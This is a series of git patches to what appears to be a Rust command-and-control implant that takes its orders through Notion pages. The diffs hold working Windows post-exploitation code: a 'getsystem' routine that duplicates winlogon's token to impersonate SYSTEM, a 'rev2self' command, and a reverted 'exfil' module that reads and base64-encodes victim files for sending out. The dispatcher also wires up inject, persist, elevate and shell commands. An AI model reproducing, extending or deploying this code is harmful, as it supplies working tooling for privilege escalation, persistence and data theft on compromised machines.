zcmeH~Jr2S!425mzP>H1@V-^m;4Wg<&0T*E43hX&L&p$$qDprKhvt+--jT7}7np#A3 zem<@ulZcFPQ@L2!n>{z**++&mCkOWA81W14cNZlEfg7;MkzE(HCqgga^y>{tEnwC%0;vJ&^%eQ zLs35+`xjp>T0z)lzrHMX1`|8W#(c9D0k= zxaBniiOTZMt?s-8#wFf(H{@yH<^UHd0bZnw{Pt*{j5f;Bx)O#~XzRYDCn2~pzLjf> bTG4Ts0-!<*uxSUk*fpBY}F5GD89vaHxi>!d{wJQYw-Yhwinf}kj>xJqHfkc>!e)4eR#ORlu`YPlh~ zMzoc3h*(;0Q_|;rH&D-v|rRrY1gPN1@8g|3e~nsRmLE~UaG*2H~64^)DKUNN7HaR zoJ;}W6i_l(L8}lPkSb-e`s{Q(nWp(n|6g}yqlFAkk9)nIE~3@e?wmywV|et>Md<6}ne7NCk$5wd)0)(Rg}19)+MTd^-HG?wk&u4dH*MgKvl7@i&3@ z-LsSM@nA9x%u-~c1=<4ZjMHU}MUB}XNbE!CpZoqISN?pKNPm{9d3olKlZ53my=0s3 z`=v@V>Bs$0PYx3>PWAR?4np032Uz6i;E-+MmT6!EcWeVY&FLnb+ISb=!7c2;zK_Kn z$n4sIBYAwml<2^@~ diff --git a/utils/__pycache__/colors.cpython-36.pyc b/utils/__pycache__/colors.cpython-36.pyc deleted file mode 100644 index 911c3deeee783d5f5ce48bb5f4e9b5a2a5a9f560..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 325 zcmX|*u};G<5Qgo^De!3E!NAAWG!4hp%Vi~1R%hzB z10}QMJ~l)&g{1B>PLlb9A&TcYb#51NoElO}$qcz#UZ%zubt{$58cpp*d~JeOiAKjt zN%fAD4|xN=Polcf(WWfAs1$nBucLWU@TL=6o=Pob6ZKkDT{Kkbj@zB_&T7f}il1W$ M=>ovm3h>|l08Cj@+5i9m diff --git a/utils/__pycache__/file_utils.cpython-36.pyc b/utils/__pycache__/file_utils.cpython-36.pyc deleted file mode 100644 index 37dc9a3a77ac1ce8deffff689eb4fdebbf87bd72..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 721 zcmYjPOK;Oa5Z<-dj!D$2Di3i&t12Q&MdAaTDuj?gJ%;j-iY%eTi6@OCzq-3l8)~1z z4WV8*bLTJZl@ot~6SF2r8EYQj&d$uI@jl(#Yp;KNpK?aXFR~*R#xGH27fnPWnvme1 zrvYuS6_HepETH$)^XkTd}26*-N*wDtBXTC?%K2=j5D3>@9gmKJG-Swe%{2_wQ^h zN)WY8j2#h044FBfzqUEb8Hjli@SgO0-J2p*3Pe`-3=mKxb&nr)Z{{&J4pXR) zCc~ys)2q|IrCFLspxp=(P%!Fuv?V~dW_em*f%X)ng((dVM_3$vK$weAtWQmr`OQ+Va%Qa10K%aJ-!y1)fTaaWmSJ zV%9{OC2kjT~ z9B0jH%@dLPXo%Z(4`>^|W42GleLU$i;h+;8W6T?BPMgU)<{l=r_Z)XvCh&qHlIF!e GwEhCOZpMfJ diff --git a/utils/__pycache__/inputs.cpython-36.pyc b/utils/__pycache__/inputs.cpython-36.pyc deleted file mode 100644 index 10d7f7ecb325fbdd09a5dc00e9568a063413c6ad..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 912 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 From c448ba3cc824b621ea6ab865fe130b8c46ee973e Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Mon, 30 May 2022 22:45:20 -0700 Subject: [PATCH 08/14] Proper logging in getsystem --- agent/src/cmd/getsystem.rs | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/agent/src/cmd/getsystem.rs b/agent/src/cmd/getsystem.rs index 9b76b36..b44c953 100755 --- a/agent/src/cmd/getsystem.rs +++ b/agent/src/cmd/getsystem.rs @@ -54,7 +54,7 @@ pub async fn handle(logger: &Logger) -> Result> { #[cfg(windows)] { if is_elevated() { unsafe { - println!("[+] Elevated! Let's get that SYSTEM"); + logger.info(log_out!("Elevated! Let's get that SYSTEM")); let mut winlogon_token_handle = HANDLE(0); let mut duplicate_token_handle = HANDLE(0); @@ -63,27 +63,25 @@ pub async fn handle(logger: &Logger) -> Result> { return notion_out!("Couldn't find winlogon!"); } let winlogon_pid: u32 = winlogon_processes[0].0; - println!("[+] Winlogon pid: {:?}", winlogon_pid); + logger.debug(log_out!("Winlogon pid: ", winlogon_pid.to_string().as_str())); // OpenProcess let winlogon_proc_handle = OpenProcess(PROCESS_ALL_ACCESS, false, winlogon_pid); - println!("[+] Winlogon Proc Handle: {:?}", winlogon_proc_handle); // OpenProcessToken if OpenProcessToken(winlogon_proc_handle, TOKEN_DUPLICATE, &mut winlogon_token_handle).0 != 0 { - println!("[+] Got Winlogon Token: {:?}", winlogon_token_handle); } else { return notion_out!("[!] Couldn't get Winlogon Token!"); } // Duplicate Token if DuplicateToken(winlogon_token_handle, SecurityImpersonation, &mut duplicate_token_handle).0 != 0 { - println!("[+] Duplicated Token!"); + logger.debug(log_out!("Duplicated Token!")); } else { return notion_out!("[!] Couldn't duplicate token!"); } // ImpersonateLoggedOnUser if ImpersonateLoggedOnUser(duplicate_token_handle).0 != 0 { - println!("[+] Impersonated!"); + logger.info(log_out!("Impersonated!")); CloseHandle(winlogon_proc_handle); - return notion_out!("[+] I am now ", whoami::username().as_str()); + return notion_out!("I am now ", whoami::username().as_str()); } return notion_out!("Couldn't get system!"); // Close Handles From 0c1d898894de45a92a722fe65517fca2fa12f885 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 31 May 2022 22:47:30 -0700 Subject: [PATCH 09/14] Add rev2self --- agent/src/cmd/mod.rs | 74 +++++++++++++++++++++------------------ agent/src/cmd/rev2self.rs | 34 ++++++++++++++++++ 2 files changed, 73 insertions(+), 35 deletions(-) create mode 100755 agent/src/cmd/rev2self.rs diff --git a/agent/src/cmd/mod.rs b/agent/src/cmd/mod.rs index 56d5c35..48786d2 100755 --- a/agent/src/cmd/mod.rs +++ b/agent/src/cmd/mod.rs @@ -19,6 +19,7 @@ mod persist; mod portscan; mod ps; mod pwd; +mod rev2self; mod runas; mod save; pub mod shell; @@ -59,6 +60,7 @@ pub enum CommandType { Persist, Ps, Pwd, + Rev2Self, Save, Selfdestruct, Runas, @@ -171,25 +173,26 @@ impl NotionCommand { let command_args = CommandArgs::from_split(command_words); let command_type: CommandType = match t { - "cd" => CommandType::Cd, - "config" => CommandType::Config, - "download" => CommandType::Download, - "elevate" => CommandType::Elevate, - "getprivs" => CommandType::Getprivs, - "getsystem" => CommandType::Getsystem, - "inject" => CommandType::Inject, - "persist" => CommandType::Persist, - "portscan" => CommandType::Portscan, - "ps" => CommandType::Ps, - "pwd" => CommandType::Pwd, - "runas" => CommandType::Runas, - "save" => CommandType::Save, + "cd" => CommandType::Cd, + "config" => CommandType::Config, + "download" => CommandType::Download, + "elevate" => CommandType::Elevate, + "getprivs" => CommandType::Getprivs, + "getsystem" => CommandType::Getsystem, + "inject" => CommandType::Inject, + "persist" => CommandType::Persist, + "portscan" => CommandType::Portscan, + "ps" => CommandType::Ps, + "pwd" => CommandType::Pwd, + "rev2self" => CommandType::Rev2Self, + "runas" => CommandType::Runas, + "save" => CommandType::Save, "selfdestruct" => CommandType::Selfdestruct, - "shell" => CommandType::Shell, - "shutdown" => CommandType::Shutdown, - "sysinfo" => CommandType::Sysinfo, - "whoami" => CommandType::Whoami, - _ => CommandType::Unknown, + "shell" => CommandType::Shell, + "shutdown" => CommandType::Shutdown, + "sysinfo" => CommandType::Sysinfo, + "whoami" => CommandType::Whoami, + _ => CommandType::Unknown, }; return Ok(NotionCommand { command_type: command_type, args: command_args}); @@ -200,25 +203,26 @@ impl NotionCommand { /// Executes the appropriate function for the `command_type`. pub async fn handle(&mut self, config_options: &mut ConfigOptions, logger: &Logger) -> Result> { match &self.command_type { - CommandType::Cd => cd::handle(&mut self.args), - CommandType::Config => config::handle(&mut self.args, config_options, logger).await, - CommandType::Download => download::handle( &mut self.args, logger).await, - CommandType::Elevate => elevate::handle(&mut self.args, config_options).await, - CommandType::Getprivs => getprivs::handle().await, + CommandType::Cd => cd::handle(&mut self.args), + CommandType::Config => config::handle(&mut self.args, config_options, logger).await, + CommandType::Download => download::handle( &mut self.args, logger).await, + CommandType::Elevate => elevate::handle(&mut self.args, config_options).await, + CommandType::Getprivs => getprivs::handle().await, CommandType::Getsystem => getsystem::handle(logger).await, - CommandType::Inject => inject::handle(&mut self.args, logger).await, - CommandType::Persist => persist::handle(&mut self.args, config_options, logger).await, - CommandType::Portscan => portscan::handle(&mut self.args, logger).await, - CommandType::Ps => ps::handle().await, - CommandType::Pwd => pwd::handle().await, - CommandType::Runas => runas::handle(&self.args).await, - CommandType::Save => save::handle(&mut self.args, config_options).await, + CommandType::Inject => inject::handle(&mut self.args, logger).await, + CommandType::Persist => persist::handle(&mut self.args, config_options, logger).await, + CommandType::Portscan => portscan::handle(&mut self.args, logger).await, + CommandType::Ps => ps::handle().await, + CommandType::Pwd => pwd::handle().await, + CommandType::Rev2Self => rev2self::handle().await, + CommandType::Runas => runas::handle(&self.args).await, + CommandType::Save => save::handle(&mut self.args, config_options).await, CommandType::Selfdestruct => selfdestruct::handle().await, - CommandType::Shell => shell::handle(&mut self.args).await, - CommandType::Shutdown => shutdown::handle().await, - CommandType::Sysinfo => sysinfo::handle().await, - CommandType::Whoami => whoami::handle().await, - CommandType::Unknown => unknown::handle().await, + CommandType::Shell => shell::handle(&mut self.args).await, + CommandType::Shutdown => shutdown::handle().await, + CommandType::Sysinfo => sysinfo::handle().await, + CommandType::Whoami => whoami::handle().await, + CommandType::Unknown => unknown::handle().await, } } } \ No newline at end of file diff --git a/agent/src/cmd/rev2self.rs b/agent/src/cmd/rev2self.rs new file mode 100755 index 0000000..11f03af --- /dev/null +++ b/agent/src/cmd/rev2self.rs @@ -0,0 +1,34 @@ +#[cfg(windows)] use windows::{ + Win32::{ + Foundation::{ + BOOL, + }, + Security::{ + RevertToSelf + } + } +}; +#[cfg(windows)] use whoami; +use std::error::Error; +use litcrypt::lc; +use crate::logger::{Logger, log_out}; +use crate::cmd::notion_out; + +/// Reverts to self if impersonated +pub async fn handle() -> Result> { + + #[cfg(windows)] { + let username = whoami::username(); + if username == "SYSTEM" { + if RevertToSelf().0 == 1 { + notion_out!("Reverted to Self: ", username.as_str()) + } else { + notion_out!("Could not revert"); + } + } + } + + #[cfg(not(windows))] { + notion_out!("This module only works on Windows!") + } +} \ No newline at end of file From 11c632aadf8b29f69c48cf179254cfdb3be6d79b Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Tue, 31 May 2022 22:51:42 -0700 Subject: [PATCH 10/14] Fix the returns --- agent/src/cmd/rev2self.rs | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/agent/src/cmd/rev2self.rs b/agent/src/cmd/rev2self.rs index 11f03af..ab252ae 100755 --- a/agent/src/cmd/rev2self.rs +++ b/agent/src/cmd/rev2self.rs @@ -20,12 +20,15 @@ pub async fn handle() -> Result> { #[cfg(windows)] { let username = whoami::username(); if username == "SYSTEM" { - if RevertToSelf().0 == 1 { - notion_out!("Reverted to Self: ", username.as_str()) - } else { - notion_out!("Could not revert"); + unsafe { + if RevertToSelf().0 == 1 { + return notion_out!("Reverted to Self: ", username.as_str()); + } else { + return notion_out!("Could not revert"); + } } } + notion_out!("Not SYSTEM, no reason to revert!") } #[cfg(not(windows))] { From 8febd5b381b0a0c86fe527b742209df638ff25b5 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Wed, 1 Jun 2022 21:20:27 -0700 Subject: [PATCH 11/14] Fixed username call for rev2self --- agent/src/cmd/rev2self.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/agent/src/cmd/rev2self.rs b/agent/src/cmd/rev2self.rs index ab252ae..4d792bf 100755 --- a/agent/src/cmd/rev2self.rs +++ b/agent/src/cmd/rev2self.rs @@ -22,7 +22,7 @@ pub async fn handle() -> Result> { if username == "SYSTEM" { unsafe { if RevertToSelf().0 == 1 { - return notion_out!("Reverted to Self: ", username.as_str()); + return notion_out!("Reverted to Self: ", whoami::username().as_str()); } else { return notion_out!("Could not revert"); } From bbee7fb1a4254f2279df668a3c1cdf6c2508df7e Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Wed, 1 Jun 2022 21:21:10 -0700 Subject: [PATCH 12/14] Mege dev --- agent/Cargo.lock | 65 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 65 insertions(+) diff --git a/agent/Cargo.lock b/agent/Cargo.lock index 571c2c8..6e4c75d 100755 --- a/agent/Cargo.lock +++ b/agent/Cargo.lock @@ -149,6 +149,70 @@ dependencies = [ "winreg 0.10.1", ] +[[package]] +name = "encoding" +version = "0.2.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6b0d943856b990d12d3b55b359144ff341533e516d94098b1d3fc1ac666d36ec" +dependencies = [ + "encoding-index-japanese", + "encoding-index-korean", + "encoding-index-simpchinese", + "encoding-index-singlebyte", + "encoding-index-tradchinese", +] + +[[package]] +name = "encoding-index-japanese" +version = "1.20141219.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "04e8b2ff42e9a05335dbf8b5c6f7567e5591d0d916ccef4e0b1710d32a0d0c91" +dependencies = [ + "encoding_index_tests", +] + +[[package]] +name = "encoding-index-korean" +version = "1.20141219.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4dc33fb8e6bcba213fe2f14275f0963fd16f0a02c878e3095ecfdf5bee529d81" +dependencies = [ + "encoding_index_tests", +] + +[[package]] +name = "encoding-index-simpchinese" +version = "1.20141219.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d87a7194909b9118fc707194baa434a4e3b0fb6a5a757c73c3adb07aa25031f7" +dependencies = [ + "encoding_index_tests", +] + +[[package]] +name = "encoding-index-singlebyte" +version = "1.20141219.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3351d5acffb224af9ca265f435b859c7c01537c0849754d3db3fdf2bfe2ae84a" +dependencies = [ + "encoding_index_tests", +] + +[[package]] +name = "encoding-index-tradchinese" +version = "1.20141219.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd0e20d5688ce3cab59eb3ef3a2083a5c77bf496cb798dc6fcdb75f323890c18" +dependencies = [ + "encoding_index_tests", +] + +[[package]] +name = "encoding_index_tests" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a246d82be1c9d791c5dfde9a2bd045fc3cbba3fa2b11ad558f27d01712f00569" + [[package]] name = "encoding_rs" version = "0.8.30" @@ -592,6 +656,7 @@ dependencies = [ "base64", "cidr-utils", "embed-resource", + "encoding", "houdini", "is-root", "libc", From eceb028d44309fab0179d10fad89cec5866f20e2 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Fri, 10 Jun 2022 07:02:21 -0700 Subject: [PATCH 13/14] Revert "Merge branch 'dev-exfil' into dev" This reverts commit 8ad1538478ae7a62bd39365223d541d1cf37145f, reversing changes made to 12b6112d9ffb1b2adcbba39138def8c9d16cf9c4. --- agent/src/cmd/exfil.rs | 50 ------------------------------------------ agent/src/cmd/mod.rs | 6 ----- 2 files changed, 56 deletions(-) delete mode 100644 agent/src/cmd/exfil.rs diff --git a/agent/src/cmd/exfil.rs b/agent/src/cmd/exfil.rs deleted file mode 100644 index 5334e81..0000000 --- a/agent/src/cmd/exfil.rs +++ /dev/null @@ -1,50 +0,0 @@ -use litcrypt::lc; -use std::error::Error; -use std::fs::File; -use base64::encode; -use std::io::Read; -use std::str; - -use crate::cmd::{CommandArgs, notion_out}; -use crate::config::ConfigOptions; -use crate::logger::{Logger}; - - - -pub async fn handle(cmd_args: &mut CommandArgs, config_options: &mut ConfigOptions, logger: &Logger) -> Result> { - - let args: Vec = cmd_args.collect(); - if args.len() != 1 { - return notion_out!("[-] Exfil takes one argument. Example: exfil [path] 🎯"); - } - - else { - // path to file to exfiltrate - let path = &args[0]; - let mut buffer = Vec::new(); - let mut f = match File::open(path) { - Ok(f) => f, - Err(e) => { - return notion_out!("[-] File does not exist"); - } - }; - f.read_to_end(&mut buffer)?; - // base64 encode it - let b64_enc = base64::encode(&buffer); - // send it off! - - // TODO: - // opportunity here to XOR these bytes with a predetermined key for good OPSEC - - - // TODO: - // roughly, base64 encoded data is 1.37 times the size of the original - // 2MB of b64 encoded data is 2,000,000 bytes give or take - // So if the base64 encoded data is longer than 2,740,000, this is a larger file - // If it's a larger file, make a new subpage in Notion and add the b64 encoded data without landing it into a code block - - Ok(b64_enc) - } -} - - diff --git a/agent/src/cmd/mod.rs b/agent/src/cmd/mod.rs index 363a7b9..48786d2 100755 --- a/agent/src/cmd/mod.rs +++ b/agent/src/cmd/mod.rs @@ -28,7 +28,6 @@ mod whoami; mod unknown; mod selfdestruct; mod sysinfo; -mod exfil; /// Uses litcrypt to encrypt output strings /// and create `Ok(String)` output @@ -54,7 +53,6 @@ pub enum CommandType { Config, Download, Elevate, - Exfil, Getprivs, Getsystem, Inject, @@ -175,12 +173,10 @@ impl NotionCommand { let command_args = CommandArgs::from_split(command_words); let command_type: CommandType = match t { - "cd" => CommandType::Cd, "config" => CommandType::Config, "download" => CommandType::Download, "elevate" => CommandType::Elevate, - "exfil" => CommandType::Exfil, "getprivs" => CommandType::Getprivs, "getsystem" => CommandType::Getsystem, "inject" => CommandType::Inject, @@ -191,7 +187,6 @@ impl NotionCommand { "rev2self" => CommandType::Rev2Self, "runas" => CommandType::Runas, "save" => CommandType::Save, - "selfdestruct" => CommandType::Selfdestruct, "shell" => CommandType::Shell, "shutdown" => CommandType::Shutdown, @@ -212,7 +207,6 @@ impl NotionCommand { CommandType::Config => config::handle(&mut self.args, config_options, logger).await, CommandType::Download => download::handle( &mut self.args, logger).await, CommandType::Elevate => elevate::handle(&mut self.args, config_options).await, - CommandType::Exfil => exfil::handle(&mut self.args, config_options, logger).await, CommandType::Getprivs => getprivs::handle().await, CommandType::Getsystem => getsystem::handle(logger).await, CommandType::Inject => inject::handle(&mut self.args, logger).await, From b20f61328c2da70ba677147c71ddcc50c0e00d0a Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Fri, 17 Jun 2022 08:24:23 -0700 Subject: [PATCH 14/14] Fix API failures --- agent/src/notion.rs | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/agent/src/notion.rs b/agent/src/notion.rs index a9f9f53..904e91b 100755 --- a/agent/src/notion.rs +++ b/agent/src/notion.rs @@ -125,12 +125,16 @@ pub async fn get_blocks(client: &Client, page_id: &String) -> Result